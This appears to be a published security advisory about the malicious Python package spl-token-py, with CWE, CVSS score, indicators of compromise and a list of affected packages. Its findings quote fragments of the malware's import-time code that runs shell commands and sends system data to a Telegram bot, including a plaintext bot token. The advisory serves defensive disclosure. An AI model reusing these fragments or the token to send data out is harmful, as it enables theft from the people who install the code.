GCVE-110-OSM-2026-96

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published June 9, 2026

Malicious package detected. Behaviors: data exfiltration, code execution. Entrypoint: spl-token-py/__init__.py (module-import: 50) Exfil: 8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY (telegram-bot, recovery: plaintext in spl-token-py/__init__.py) Payload: spl-token-py/__init__.py Key findings: - Shell Command Execution in spl-token-py/__init__.py: "subprocess.run(" - Python File Upload to Remote in spl-token-py/__init__.py: "urllib.request.Request(f'https://api.telegram.org/bot{BT}/{m}',data=" - System Information Exfiltration in spl-token-py/__init__.py: "os.getcwd();W=os.name=='nt' BT='8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY' ..." - HTTP Data Exfiltration in spl-token-py/__init__.py: "os.getcwd();W=os.name=='nt' BT='8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY' ..." - Data Encoding for Exfiltration in spl-token-py/__init__.py: "json.dumps(d).encode" IOCs: - telegramBots: 8870595195:AAHcwv2ZMYZU9ia_xjHGR5veBQTQ1FH_rOY - telegramApi: api.telegram.org/bot{BT}/{m} - payloadFileHash: 96f8547a8b1ef16709dab07b25ab278bd2a547fa1ca956ffff0eb19269cb0f44

Download JSON Open in Console

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	transform-charcodes	all (affected), all (affected), all (affected), all (affected), all (affected), all (affected), * (affected), all (affected)	—
unknown	neanderthal-validator	all (affected)	—
unknown	@emilgroup/account-sdk-node	all (affected), all (affected), all (affected), * (affected), all (affected), all (affected)	—
unknown	spl-token-py	all (affected)	—
unknown	@modals/blockchain	all (affected)	—